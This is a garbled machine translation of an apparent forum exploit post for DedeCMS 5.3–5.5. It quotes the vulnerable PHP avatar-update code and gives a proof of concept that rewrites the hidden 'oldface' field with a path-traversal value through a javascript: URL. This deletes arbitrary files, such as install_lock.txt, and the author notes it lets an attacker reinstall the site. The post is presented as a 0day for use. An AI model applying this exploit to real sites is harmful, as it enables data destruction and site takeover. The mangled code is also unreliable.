Dedecms5.3-5.5 delete any file 0day

Author: My5t3ry
This chicken rib vulnerability was first found in the forum of laop, and is now available on the Internet.
Vulnerability found in/member/edit_face.php 12-47
Several other files also exist. The Code is as follows:

If ($ dopost ==& apos; save & apos ;)
{
$ Userdir = $ pai_user_dir. & apos;/& apos;. $ pai_ml-> M_ID;
If (! Ereg (& apos; ^ & apos;. $ userdir, $ oldface ))
{
$ Oldface = & apos ;;
}
If (is_uploaded_file ($ face ))
{
If ($ faceurl! = & Apos ;)
{
If (ereg (& apos;: & apos;, $ faceurl) & amp ;! Eregi (& apos; ^ http: & apos;, $ faceurl) |! Eregi (". (jpg | png | gif)", $ faceurl ))
{
ShowMsg ("the image URL you specified has a problem! ","-1 ");
Exit ();
}
}

// Delete the old image (to prevent file extensions from being different, for example, the original image is gif and later the image is jpg)
If ($ oldface! = & Apos; & amp; file_exists ($ pai_basedir. $ oldface ))
{
@ Unlink ($ pai_basedir. $ oldface );
}

// Upload a new job image
$ Face = MemberUploads (& apos; face & apos;, $ faceurl, $ pai_ml-> M_ID, & apos; image & apos;, & apos; myface & apos ;, 180,180 );
}
Else
{
$ Face = $ oldface;
}
$ Query = "update dede_member set face = & apos; $ face & apos; where mid = & apos; {$ pai_ml-> M_ID} & apos ;";
$ Dsql-> ExecuteNoneQuery ($ query );
ShowMsg (& apos; the profile information is successfully updated! & Apos;, $ backurl );
Exit ();
}

Poc:
Upload an image in "set profile"> "user profile", view the source code, search for oldface, and find its value,
In this example,/uploads/userup/2/myface.png is returned, and the uploaded image is selected. Do not Click Upload.
Modify/uploads/userup/2/myface.png to the relative address of the file to be deleted, for example,/dedecms/uploads/userup/2/.../../install/install_lock.txt

Javascript: document. form1.oldface. value = & apos;/uploads/userup/2 /../../../

Install/install_lock.txt & apos; document. form1.submit ();
Ps: 5.3 you can delete files and reinstall them. In 5.5, you can only delete files randomly.